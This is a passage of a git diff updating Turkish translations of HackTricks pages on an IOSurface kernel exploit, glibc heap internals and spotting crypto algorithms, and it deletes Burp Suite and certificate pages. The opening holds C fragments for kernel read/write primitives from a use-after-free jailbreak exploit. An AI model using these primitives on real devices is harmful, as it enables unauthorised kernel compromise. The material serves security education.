rastgele adre #### 32-Bit Kernel Okuma -Okuma gerçekleştirmek için: +Bir okuma gerçekleştirmek için: -1. **kullanım sayısı işaretçisini** hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde geçersiz kılın. +1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak işaret edecek şekilde geçersiz kılın. 2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -174,11 +176,11 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### 64-Bit Kernel Yazma +#### 64-Bit Kernel Write Yazma işlemi gerçekleştirmek için: -1. **İndeksli zaman damgası işaretçisini** hedef adrese yazın. +1. Hedef adrese **indekslenmiş zaman damgası işaretçisini** geçersiz kılın. 2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -201,3 +203,5 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin. Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL). + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 532f049b4..a58733fe8 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,10 +1,12 @@ # Libc Heap +{{#include /banners/hacktricks-training.md}} + ## Heap Temelleri -Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri talep ettiğinde verileri depolayabileceği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir. +Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri depolamak için talep ettiği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir. -Görüldüğü gibi, bu bellek, ikili dosyanın bellekte yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü): +Görüldüğü gibi, bu bellek, ikili dosyanın belleğe yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
@@ -25,28 +27,28 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h ## Arenalar -**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı. +**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılarak bu sağlanıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı. -Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena** kendi **veri yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır. +Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenalar kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır. Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar. -Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar. +Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar. ### Alt Heap'ler -Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı: +Alt heap'ler, çok iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı: 1. **Başlangıç Heap'i vs. Alt Heap'ler**: -- Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler. +- Başlangıç heap'i, programın ikili dosyasının bellekte hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler. - İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur. 2. **`mmap` ile Bellek Rezervasyonu**: - Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler. - Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır. 3. **`mprotect` ile Aşamalı Genişleme**: -- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir. -- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve çekirdeği daha önce rezerve edilen adreslere fiziksel bellek tahsis etmeye yönlendirir. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır. -- Tüm alt heap tükendiğinde, heap yöneticisi yeni bir alt heap oluşturur. +- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesine gerek olmadığı anlamına gelir. +- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır. +- Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur. ### heap_info @@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; **Her heap** (ana arena veya diğer thread arenaları) bir **`malloc_state` yapısına sahiptir.**\ **Ana arena `malloc_state`** yapısının **libc'de global bir değişken olduğunu** belirtmek önemlidir (bu nedenle libc bellek alanında yer alır).\ -**Thread'lerin heap'lerinin `malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır. +Thread'lerin heap'lerinin **`malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır. Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın): @@ -89,10 +91,10 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın): ``` - `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0. indeks kullanılmadığı için -2). -- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir **libc**'de. +- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir. - `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir. -- `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir. -- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir. +- `top` chunk, son "chunk"tır ve temelde **tüm heap hatırlatma alanıdır**. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir. +- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde ortaya çıkar; burada kalan kısmın işaretçisi yer alır. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -142,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem; ``` ### malloc_chunk -Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir. +Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanların, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamları vardır. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { @@ -157,17 +159,17 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu görüntüde çok iyi temsil edilmiştir: +Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu resimde çok iyi temsil edilmiştir:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-Meta veri genellikle mevcut parça boyutunu gösteren 0x08B'dir ve son 3 bit ile şunları belirtir: +Meta veri genellikle 0x08B olup, mevcut parça boyutunu belirtmek için son 3 biti kullanır: -- `A`: 1 ise bir alt yığın, 0 ise ana arenadadır -- `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir -- `P`: 1 ise, önceki parça kullanımdadır +- `A`: Eğer 1 ise bir alt yığın (subheap) içindendir, eğer 0 ise ana arenadadır +- `M`: Eğer 1 ise, bu parça mmap ile tahsis edilmiş bir alanın parçasıdır ve bir yığın değildir +- `P`: Eğer 1 ise, önceki parça kullanımdadır -Sonra, kullanıcı verileri için alan ve nihayet parça mevcut olduğunda önceki parça boyutunu belirtmek için 0x08B (veya tahsis edildiğinde kullanıcı verilerini depolamak için) gelir. +Sonra, kullanıcı verileri için alan ve nihayet 0x08B, parça mevcut olduğunda önceki parça boyutunu belirtmek için (veya tahsis edildiğinde kullanıcı verilerini depolamak için) kullanılır. Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek için kullanılır: @@ -178,8 +180,8 @@ Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] -> Bu şekilde listeyi bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğine dikkat edin. +> [!TIP] +> Listeyi bu şekilde bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğini unutmayın. ### Parça İşaretçileri @@ -259,11 +261,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Not edin ki toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir. +Not edin ki, toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir. ### Parça verilerini al ve meta verileri değiştir -Bu fonksiyonlar bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır: +Bu fonksiyonlar, bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır: - Parça bayraklarını kontrol et ```c @@ -352,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında) +- Başlık ve alt bilgi ayarlayın (parça numaraları kullanıldığında) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -363,7 +365,7 @@ people extending or adapting this malloc. /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` -- Parçanın içindeki gerçek kullanılabilir verinin boyutunu alın +- Parçanın içindeki gerçek kullanılabilir verinin boyutunu al ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size @@ -413,9 +415,9 @@ Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede sakla
-Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz. +Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) ve bu parçanın uzunluğunun `0x21` olduğunu gösterdiğini görebiliriz. -Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır. +Rezerve edilen ekstra alan (0x21-0x10=0x11), **eklenen başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16 byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() @@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md deleted file mode 100644 index 08920f939..000000000 --- a/src/burp-suite.md +++ /dev/null @@ -1,19 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Temel Yükler - -- **Basit Liste:** Her satırda bir giriş içeren bir liste -- **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için. -- **Durum Değişikliği:** Bir dizi dize üzerinde bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-). -- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma. -- **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk. - -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için yük. - -{{#ref}} -https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e -{{#endref}} - -[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index b5481942a..6580d0e63 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,12 +1,10 @@ # Kriptografik/Sıkıştırma Algoritmaları -## Kriptografik/Sıkıştırma Algoritmaları - {{#include ../../banners/hacktricks-training.md}} ## Algoritmaları Tanımlama -Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. +Eğer bir kod **sağ ve sol kaydırmalar, xors ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. ### API fonksiyonları @@ -46,12 +44,12 @@ Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız: ![](<../../images/image (529).png>) Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ -Diğer sabitlerden herhangi birini arayabilirsiniz ve (muhtemelen) aynı sonucu alırsınız. +Diğer sabitlerden herhangi birini ararsanız, (muhtemelen) aynı sonucu alırsınız. ### veri bilgisi Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\ -Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz: +Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve daha önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz: ![](<../../images/image (531).png>) @@ -63,14 +61,14 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta 3 ana bölümden oluşur: -- **Başlatma aşaması/**: **0x00 ile 0xFF arasında değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır. +- **Başlatma aşaması/**: **0x00'dan 0xFF'e kadar değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır. - **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. -- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, daha önce oluşturulan değerlerle **XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır. +- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceki değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır. -> [!NOTE] -> **Bir deşifreleme/dekompile edilmiş kodda RC4'ü tanımlamak için 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde daha önce oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak** +> [!TIP] +> **Bir deşifreleme/dekompile edilmiş kodda bir RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak.** -### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacı olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin) +### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacın olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin) ![](<../../images/image (584).png>) @@ -87,7 +85,7 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta ### **Özellikler** - **yer değiştirme kutuları ve arama tabloları** kullanımı -- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._ +- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili **ya da dinamik olarak** _**oluşturulabilir**._ - **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır. ### SBox sabitleri @@ -99,12 +97,12 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta ### Özellikler - Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif) -- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon) +- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak. ### Tanımlama -Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmaları tarafından da kullanıldığını unutmayın).\ -Ayrıca **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin: +Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\ +Ayrıca, **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki XOR işlemlerinin **sayısına** ve **kod** örneğine dikkat edin: ![](<../../images/image (547).png>) @@ -112,7 +110,7 @@ Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzu ![](<../../images/image (513).png>) -Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile **karşılaştırarak** tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme). +Bu nedenle, bu algoritmayı **büyü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile karşılaştırarak tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme). ## RSA **(Asimetrik Kriptografi)** @@ -126,8 +124,8 @@ Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol ![](<../../images/image (1113).png>) -- 11. satırda (solda) `+7) >> 3` var, bu da 35. satırda (sağda) `+7) / 8` ile aynıdır. -- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor. +- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynı: `+7) / 8` +- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve sağdaki 36. satırda `inputLen+11 > modulusLen` kontrol ediliyor. ## MD5 & SHA (hash) @@ -140,19 +138,19 @@ Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol **Init** -Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır: +Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. sha_init'in MD5'de olmayan 1 sabiti olduğunu unutmayın: ![](<../../images/image (406).png>) **MD5 Dönüşümü** -Daha fazla sabit kullanıldığına dikkat edin +Daha fazla sabit kullanımına dikkat edin ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) -- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır +- Daha küçük ve daha verimli, çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır - Sabitleri tanımlamak için arama tabloları kullanır ### Tanımlama @@ -178,7 +176,7 @@ Grafik oldukça büyük: ![](<../../images/image (207) (2) (1).png>) -Bunu tanımak için **3 karşılaştırmayı** kontrol edin: +Bunu tanımak için **3 karşılaştırma** kontrol edin: ![](<../../images/image (430).png>) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md deleted file mode 100644 index c153201ce..000000000 --- a/src/cryptography/certificates.md +++ /dev/null @@ -1,157 +0,0 @@ -# Sertifikalar - -{{#include ../banners/hacktricks-training.md}} - -## Sertifika Nedir - -Bir **açık anahtar sertifikası**, birinin açık anahtara sahip olduğunu kanıtlamak için kriptografide kullanılan dijital bir kimliktir. Anahtarın detaylarını, sahibinin kimliğini (konu) ve güvenilir bir otoriteden (verici) dijital bir imzayı içerir. Yazılım vericiyi güvenilir bulursa ve imza geçerliyse, anahtarın sahibiyle güvenli iletişim mümkündür. - -Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate_authority) (CA'lar) tarafından [açık anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Diğer bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dır; burada kullanıcılar birbirlerinin anahtarlarını doğrudan doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509) olup, RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir. - -## x509 Ortak Alanlar - -### **x509 Sertifikalarında Ortak Alanlar** - -x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik rol oynamaktadır. Bu alanların bir dökümü: - -- **Sürüm Numarası**, x509 formatının sürümünü belirtir. -- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi (CA) sisteminde benzersiz olarak tanımlar, esasen iptal takibi için kullanılır. -- **Konu** alanı, sertifikanın sahibini temsil eder; bu bir makine, birey veya organizasyon olabilir. Aşağıdaki gibi detaylı kimlik bilgilerini içerir: -- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. -- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. -- **Ayrıcalıklı Ad (DN)**, tam konu kimliğini kapsar. -- **Verici**, sertifikayı kimlerin doğruladığını ve imzaladığını detaylandırır; CA için Konu ile benzer alt alanlar içerir. -- **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığını sağlamak için **Not Before** ve **Not After** zaman damgaları ile işaretlenir. -- **Açık Anahtar** bölümü, sertifikanın güvenliği için kritik olup, açık anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. -- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır; **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ince ayar yapmak için diğer özellikleri belirtir. - -#### **Anahtar Kullanımı ve Uzantılar** - -- **Anahtar Kullanımı**, açık anahtarın kriptografik uygulamalarını tanımlar; örneğin dijital imza veya anahtar şifreleme. -- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır; örneğin, TLS sunucu kimlik doğrulaması için. -- **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve bunun bir CA veya son varlık sertifikası olup olmadığını tanımlar. -- **Konu Anahtar 